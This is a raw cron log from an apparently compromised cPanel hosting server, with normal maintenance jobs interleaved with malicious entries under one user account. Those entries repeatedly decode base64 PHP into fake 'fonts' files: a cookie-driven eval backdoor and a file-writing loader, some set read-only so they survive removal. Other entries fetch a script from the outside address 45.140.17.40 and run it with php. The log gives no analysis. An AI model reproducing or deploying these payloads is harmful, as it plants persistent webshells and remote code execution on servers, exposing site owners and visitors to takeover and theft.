Sep  8 14:41:01 ip-184-168-122-23 CROND[4412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:41:01 ip-184-168-122-23 CROND[4413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:41:01 ip-184-168-122-23 CROND[4415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:41:01 ip-184-168-122-23 CROND[4416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:42:01 ip-184-168-122-23 CROND[4496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:42:01 ip-184-168-122-23 CROND[4499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:42:01 ip-184-168-122-23 CROND[4498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:42:01 ip-184-168-122-23 CROND[4500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:42:01 ip-184-168-122-23 CROND[4501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:43:01 ip-184-168-122-23 CROND[4586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:43:01 ip-184-168-122-23 CROND[4589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:43:01 ip-184-168-122-23 CROND[4588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:43:01 ip-184-168-122-23 CROND[4590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:44:01 ip-184-168-122-23 CROND[4694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:44:01 ip-184-168-122-23 CROND[4696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:44:01 ip-184-168-122-23 CROND[4697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:44:01 ip-184-168-122-23 CROND[4698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:44:01 ip-184-168-122-23 CROND[4699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:45:01 ip-184-168-122-23 CROND[4813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:45:01 ip-184-168-122-23 CROND[4815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:45:01 ip-184-168-122-23 CROND[4816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:45:01 ip-184-168-122-23 CROND[4819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:45:01 ip-184-168-122-23 CROND[4822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:45:01 ip-184-168-122-23 CROND[4817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:46:01 ip-184-168-122-23 CROND[4925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:46:01 ip-184-168-122-23 CROND[4927]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:46:01 ip-184-168-122-23 CROND[4928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:46:01 ip-184-168-122-23 CROND[4930]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 14:46:01 ip-184-168-122-23 CROND[4932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:46:01 ip-184-168-122-23 CROND[4934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:46:01 ip-184-168-122-23 CROND[4935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:47:02 ip-184-168-122-23 CROND[5065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:47:02 ip-184-168-122-23 CROND[5068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:47:02 ip-184-168-122-23 CROND[5067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:47:02 ip-184-168-122-23 CROND[5066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:48:02 ip-184-168-122-23 CROND[5174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:48:02 ip-184-168-122-23 CROND[5178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:48:02 ip-184-168-122-23 CROND[5179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:48:02 ip-184-168-122-23 CROND[5176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:48:02 ip-184-168-122-23 CROND[5177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:49:02 ip-184-168-122-23 CROND[5357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:49:02 ip-184-168-122-23 CROND[5360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:49:02 ip-184-168-122-23 CROND[5359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:49:02 ip-184-168-122-23 CROND[5361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:50:01 ip-184-168-122-23 CROND[5453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:50:02 ip-184-168-122-23 CROND[5455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:50:02 ip-184-168-122-23 CROND[5460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:50:02 ip-184-168-122-23 CROND[5457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:50:02 ip-184-168-122-23 CROND[5461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:50:02 ip-184-168-122-23 CROND[5458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:50:02 ip-184-168-122-23 CROND[5468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:50:02 ip-184-168-122-23 CROND[5467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:50:02 ip-184-168-122-23 CROND[5469]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:51:01 ip-184-168-122-23 CROND[5576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:51:01 ip-184-168-122-23 CROND[5579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:51:01 ip-184-168-122-23 CROND[5578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:51:01 ip-184-168-122-23 CROND[5580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:52:01 ip-184-168-122-23 CROND[5656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:52:01 ip-184-168-122-23 CROND[5658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:52:01 ip-184-168-122-23 CROND[5659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:52:01 ip-184-168-122-23 CROND[5660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:52:01 ip-184-168-122-23 CROND[5662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:53:01 ip-184-168-122-23 CROND[5765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:53:01 ip-184-168-122-23 CROND[5767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
